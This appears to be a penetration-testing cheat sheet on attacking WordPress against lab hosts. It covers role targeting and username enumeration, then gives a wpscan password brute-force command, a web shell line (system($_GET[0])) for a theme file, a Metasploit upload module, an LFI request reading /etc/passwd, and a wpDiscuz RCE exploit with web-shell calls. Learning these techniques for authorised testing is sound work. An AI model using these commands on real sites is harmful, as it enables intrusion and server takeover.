WordPress
Introduction
WordPress is extremely prevalent on the internet and presents a vast attack surface
Getting access to an administrator is usually sufficient to obtain code execution on the server.
Editors and authors might have access to certain vulnerable plugins, which normal users donβt.
Wordpress User Roles
User Role | Description |
---|---|
Administrator | Full Privileges - This user role is an interesting target due to his capability of managing plugins |
Editor | Can publish and manage any user's posts - This user role is an interesting target due to his capability of managing plugins |
Author | Can publish and manage their posts |
Contributor | Can write and manage their own post, but he cannot publish them |
Subscriber | Can view posts and manage/modify their profile |
WordPress Discovery/Footprinting
Command | Description |
---|---|
Browse to | Check if |
Browse to | Check if |
Browse to | Check if |
Browse to | Enumerate and look for vulnerable plugins |
Browse to | Enumerate and look for vulnerable themes |
| Check webpage source |
| Check webpage source |
| Check webpage source |
WpScan Basic Commands
Command | Description |
---|---|
| Run wpscan using an api token |
| Run wpscan and perform a password attack against the target |
Wordpress User Enumeration and Login Bruteforcing
Login Form - Usernames Enumeration: in some versions of wordpress it's possible to enumerate usernames due to wordpress error messages giving too many information: whenever a username is right, the web application may show a message such as
"the password is not valid"
, meaning that the username is valid.Login Form - Password Bruteforcing: wpscan can be used to bruteforce a valid user's password:
sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
Admin User - Remote Code Execution
An aministrator account may edit PHP code in order to gain RCE
The steps are the following:
Semi-automatically, using
msfconsole
:use exploit/unix/webapp/wp_admin_shell_upload
Manually, by modifying a theme:
Login as administrator β Navigate to: appearance β side panel β theme editor β select a theme
Add the following to the theme:
system($_GET[0]);
Use the following URL to gain RCE:
http://example.test/wp-content/themes/THEMENAME/FILEPHPNAME.PHP?0=id
WordPress Known Vulnerable Plugins
Mail-Masta
allows LFI by using the following PoC:curl -s http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
wpDiscuz
allows RCE by using the following PoC:ExploitDB:
python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1
if it fails, use
cURL
to execute commands using the uploaded web shell:curl -s http://blog.inlanefreight.local/wp-content/uploads/2021/08/uthsdkbywoxeebg-1629904090.8191.php?cmd=id
Last updated